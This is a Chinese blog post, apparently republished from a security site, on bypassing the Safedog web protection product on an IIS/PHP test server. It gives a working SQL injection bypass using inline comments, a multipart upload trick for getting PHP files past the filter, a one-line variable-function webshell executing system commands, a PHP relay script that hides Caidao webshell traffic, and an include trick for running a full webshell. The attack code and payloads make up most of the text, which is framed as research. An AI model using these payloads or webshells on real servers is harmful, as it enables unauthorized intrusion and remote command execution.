一、前言

安全狗是一款大家熟悉的服务器安全加固产品,据称已经拥有50W的用户量。

最近经过一些研究,发现安全狗的一些防护功能,例如SQL注入、文件上传、防webshell等都可以被绕过,下面为大家一一介绍。

二、测试环境
本次测试环境为
中文版Win2003 SP2+PHP 5.3.28+Mysql 5.1.72

网站安全狗IIS版3.2.08417

三、SQL注入绕过

我们先写一个存在SQL注入漏洞的php:

1
2
3
4
5
6
7
8
9
10
11
12
13

<?
$uid = $_REQUEST [ 'id' ] ;
if ( ! $conn = @ mysql_connect ( "localhost" , "root" , "123456" ) )
die ( '<font size=+1>An Error Occured</font><hr>unable to connect to the database.' ) ;
if ( ! @ mysql_select_db ( "supe" , $conn ) )
die ( "<font size=+1>An Error Occured</font><hr>unable to find it at database on your MySQL server." ) ;
$text = "select * from supe_members where uid=" . $uid ;
$rs = mysql_query ( $text , $conn ) ;
while ( $rom = mysql_fetch_array ( $rs ) )
{
echo $rom [ "username" ] ;
}
?>

我用的是supesite的库,可以看到这里是有明显SQL注入漏洞的,当没有安全狗的时候可以成功注入:

当安装安全狗之后,注入语句会被拦截:

经过测试发现,安全狗这块的匹配正则应该是\s+and这类的,所以只要想办法去掉空格,用普通注释/**/是不行的,安全狗也防了这块。

但是对内联注释/*!and*/这种不知道为什么安全狗没有拦截。

用下面语句成功绕过SQL注入过滤:

1
http : //192.168.200.115/inj.php?id=1/*!and*/1=2/*!union*//*!select*/1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17

有人说只有POST才可以,但是我测试最新版本的安全狗GET注入也是可以用这种方法绕过的。

四、文件上传绕过
安全狗的防上传也是做在WEB层,即分析HTTP协议来防止上传,按照yuange说的安全是一个条件语句,这显然是不符合安全规范的,只检查HTTP并不能保证文件系统层上的问题。

假设有一个上传功能的php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

<?php
if ( $_FILES [ "file" ] [ "error" ] > 0 )
{
echo "Return Code: " . $_FILES [ "file" ] [ "error" ] . "<br />" ;
}
else
{
echo "Upload: " . $_FILES [ "file" ] [ "name" ] . "<br />" ;
echo "Type: " . $_FILES [ "file" ] [ "type" ] . "<br />" ;
echo "Size: " . ( $_FILES [ "file" ] [ "size" ] / 1024 ) . " Kb<br />" ;
echo "Temp file: " . $_FILES [ "file" ] [ "tmp_name" ] . "<br />" ;
if ( file_exists ( "upload/" . $_FILES [ "file" ] [ "name" ] ) )
{
echo $_FILES [ "file" ] [ "name" ] . " already exists. " ;
}
else
{
move_uploaded_file ( $_FILES [ "file" ] [ "tmp_name" ] ,
"upload/" . $_FILES [ "file" ] [ "name" ] ) ;
echo "Stored in: " . "upload/" . $_FILES [ "file" ] [ "name" ] ;
}
}
?>
< html >
< body >
< form action = "upload.php" method = "post"
enctype = "multipart/form-data" >
< label for = "file" > Filename : < / label >
< input type = "file" name = "file" id = "file" / >
< br / >
< input type = "submit" name = "submit" value = "Submit" / >
< / form >
< / body >
< / html >

然后在安全狗里设置禁止上传.php文件:

然后通过浏览器上传php会被拦截:

我们通过burp把上传的HTTP包抓下来,然后自己进行一下修改POST数据。

了一些实验,直接说结果吧,当增加一处文件名和内容,让两个文件名不一致的时候,成功绕过了安全狗的防护,上传了php文件。

因为安全狗进行文件名匹配时候用的是第一个文件名test.jpg,是复合安全要求的,但是webserver在保存文件的时候却保存了第二个文件名test.php,也就是if(security_check(a)){do(b);},导致安全检查没有用,php文件已经成功上传了:

这样的的上传数据可能是不符合RFC规范的,但是却达到了绕过拦截的目的。结论是每种安全检查一定要在对应的层次做检查,而不能想当然的在WEB层做系统层该做的事情。

五、一句话webshell绕过
对于攻击者来说,安全狗很烦人的一点就是传上去的webshell却不能执行。我们就来看看怎么绕过安全狗对一句话webshell的拦截。

首先要知道安全狗防webshell仍然是依靠文件特征+HTTP来判断,但webshell真正执行是在脚本层,检查的层次不对当然也是可以轻易绕过去的。

因为php里面函数名都可以是变量,文件里哪还有特征啊,上传如下php:

1
2
3

<?php
$_REQUEST [ 'a' ] ( $_REQUEST [ 'xiaocan' ] ) ;
?>

然后在浏览器里执行:

1
http : //192.168.200.115/small.php?a=system&b=dir

成功执行了系统命令,当然也可以执行php代码:

1
http : //192.168.200.115/small.php?a=assert&b=phpinfo();


六、菜刀绕过
测试发现这种一句话虽然可以成功执行,但是在菜刀里却不能用,而有些人非觉得这样的一句话麻烦,非要用菜刀。

经分析安全狗对菜刀的HTTP请求做了拦截,菜刀的POST数据里面对eval数据做了base64编码,安全狗也就依靠对这些特征来拦截,因此要想正常使用菜刀,必须在本地做一个转发,先把有特征的数据转换。这个思路类似于对伪静态注入的本地转发。

首先在本地搭建WEB SERVER,然后写一个php转发程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

<?php
$target = "http://192.168.200.115/small.php" ; //这个就是前面那个一句话的地址
$poststr = '' ;
$i = 0 ;
foreach ( $_POST as $k = > $v )
{
if ( strstr ( $v , "base64_decode" ) )
{
$v = str_replace ( "base64_decode(" , "" , $v ) ;
$v = str_replace ( "))" , ")" , $v ) ;
}
else
{
if ( $k === "z0" )
$v = base64_decode ( $v ) ;
}
$pp = $k . "=" . urlencode ( $v ) ;
//echo($pp);
if ( $i != 0 )
{
$poststr = $poststr . "&" . $pp ;
}
else
{
$poststr = $pp ;
}
$i = $i + 1 ;
}
$ch = curl_init ( ) ;
$curl_url = $target . "?" . $_SERVER [ 'QUERY_STRING' ] ;
curl_setopt ( $ch , CURLOPT_URL , $curl_url ) ;
curl_setopt ( $ch , CURLOPT_POST , 1 ) ;
curl_setopt ( $ch , CURLOPT_POSTFIELDS , $poststr ) ;
curl_setopt ( $ch , CURLOPT_RETURNTRANSFER , 1 ) ;
$result = curl_exec ( $ch ) ;
curl_close ( $ch ) ;
echo $result ;
?>

意思就是在本地先对eval数据进行base64解码,然后再POST到目标机器上去。在菜刀里设置URL为本地转发php脚本:


这样就可以使用菜刀来连接前面那个一句话马了:

这样就能用菜刀了,不过大家真的没必要执着于菜刀,向大家推荐一款菜刀工具: http://www.exehack.net/576.html

七、webshell大马绕过

一句话功能毕竟有限,想用大马怎么办?仍然是传统的include大法,传一个big.php内容如下:

1
2
3

<?php
include ( 'exehack.txt' ) ;
?>

然后再把大马修改名为exehack.txt然后上传到目标网站目录下,然后在访问big.php这样就成功绕过安全狗的拦截执行了webshell

PS:这里是已php大马为例子,如果是asp aspx 或者jsp的脚本语音网站就把后缀修改为相应的即可!

这样大马也顺利执行了。

八、结束语
上面从SQL注入、上传、webshell等几个方面绕过了安全狗的保护,有些绕过方法安全狗可能早就知道了,但是为什么一直没有补?很可能的原因是怕过滤太严格影响某些应用,在安全和通用性之间做取舍我认为是可以理解的,但是我觉得这也正是安全研究人员存在的价值所在。

这里发几句题外的牢骚,很多安全公司其实是当作软件公司来做的,做安全软件就是去做开发,而忽视了安全研究的价值。普通的防护方法原理很简单,但想要不影响应用又保证安全其实很难,如果没有对漏洞和攻击有深入理解的研究人员,安全产品是没法更上一层楼的。

希望各个安全公司不要太功利,对研究人员多一些重视,安全公司真的不能仅仅等同于软件公司啊!

网站入侵检测之全方位突破安全狗相关推荐

  1. 信息安全-入侵检测技术原理与应用

    一.入侵检测概述 1.1 入侵检测概念 入侵应与受害目标相关联,该受害目标可以是一个大的系统或单个对象 判断与目标相关的操作是否为入侵的依据:对目标的操作是否超出了目标的安全策略范围 入侵:指违背访问 ...

  2. 信息安全软考 第十章 入侵检测技术原理应用

    入侵检测概述 入侵检测技术 ※ 入侵检测系统组成与分类 ※ 入侵检测系统主要产品与技术指标 入侵检测应用 ※ ※    命题规则:上午选择题2分左右,下午案例题结合其他知识考5-8分    入侵检测是 ...

  3. 第10章 入侵检测技术原理与应用

    第10章 入侵检测技术原理与应用 10.1 入侵检测概述 10.1.1 入侵检测概念 入侵检测通过收集操作系统.应用程序.系统程序.网络包等信息发现系统中违背安全策略活危机系统安全的行为.IDS 10 ...

  4. 突破安全狗和360网站卫士

    突破安全狗和360网站卫士 进来蛋疼 肾是疼 可能是测试娃娃测试的太多了. 前几天朋友让我帮他检测下他的网站安全性,网站发来一看.哇靠,又是安全狗,又是360网站卫士,这可怎好. 首先是找到一个可以填 ...

  5. 如何正确的进行网站入侵渗透测试

    大家都知道渗透测试就是为了证明网络防御按照预期计划正常运行而提供的一种机制,而且够独立地检查你的网络策略,一起来看看网站入侵渗透测试的正确知识吧. 简单枚举一些渗透网站一些基本常见步骤: 一 .信息收 ...

  6. 新书推荐 |《Linux系统安全:纵深防御、安全扫描与入侵检测》

    新书推荐 <Linux系统安全:纵深防御.安全扫描与入侵检测> 点击上图了解及购买 资深Linux系统安全/运维专家撰写,腾讯.阿里技术专家高度评价,从纵深防御.安全扫描.入侵检测3个维度 ...

  7. linux 入侵检测

    最近遇到了很多服务器被入侵的例子,为了方便日后入侵检测以及排查取证,我查询了一些linux服务器入侵取证的相关资料,并在此总结分享,以便日后查询. 一般服务器被入侵的迹象,包括但不局限于:由内向外发送 ...

  8. SNORT入侵检测系统

    0x00 一条简单的规则 alert tcp 202.110.8.1 any -> 122.111.90.8 80 (msg:"Web Access"; sid:1) ale ...

  9. vc 代码检查工具_C++网络安全入侵检测技术模块及源程序代码

    马云说过,现在这个时代,数据成了最宝贵的资源,每个公司的数据库都是重点防护的.尤其是阿里巴巴,宣称没有人可以攻破自己的安全网络,因为有太多牛人在里面. 一个VC++ 网络入侵检测模块及程序代码,源代码 ...

最新文章

  1. DataGridView打印类
  2. Swift与Objective-C:与恐龙有关的趋势
  3. Spring整合rabbitmq---消息接收
  4. 【李开复】从优秀到卓越 (二)
  5. List 分页加载数据控制机制
  6. 【渝粤题库】陕西师范大学201301 《经济法学》作业(高起本、专升本)
  7. 面试官问我:什么是JavaScript闭包,我该如何回答
  8. C++:const VS define
  9. java判断经纬度是否在扇形内_地理坐标是用经度
  10. 【Python成长之路】从 零做网站开发 -- 基于Flask和JQuery,实现表格管理平台
  11. 京东健康上线“新冠病毒”核酸检测 在线预约服务
  12. 【缺陷检测】基于matlab区域生长算法对焊接孔隙缺陷检测【含Matlab源码 829期】
  13. 下载新版火狐后无法同步书签_Ubuntu解决火狐浏览器无法同步书签的问题【推荐】...
  14. python安装mysql-python报错解决方法
  15. js 时间格式化转换
  16. pandas 筛选行 整行复制粘贴
  17. 更新again:微机原理与汇编语言-练习题
  18. python小游戏 仿谷歌浏览器小恐龙小游戏设计与实现
  19. 海思AI芯片(Hi3519A/3559A)方案学习一Ubuntu18.0.4上编译Hi3519AV100 uboot和kernel
  20. Unicode HOWTO 中文翻译

热门文章

  1. 【附源码】Java计算机毕业设计行程规划app(程序+LW+部署)
  2. Filter的FilterChain执行顺序
  3. VS安装扩展缓慢问题解决
  4. 受限Boltzmann机器rbms简介
  5. 大年三十微信红包服务器,年三十有人收了1万多个微信红包 !!! 然而最让我吃惊的是……...
  6. vue3中将base64的pdf文件流转换成pdf并预览(三)——base64数据转pdf pdf工具栏不显示 vue3-seamless-scroll组件的使用-事件捕获 给接口追加数据
  7. 车联网上云最佳实践(七)
  8. Python复合语句
  9. 短视频去水印方法之-opencv进行批量图像修复
  10. 《Linux运维总结:服务器测试外网带宽上行和下行网速》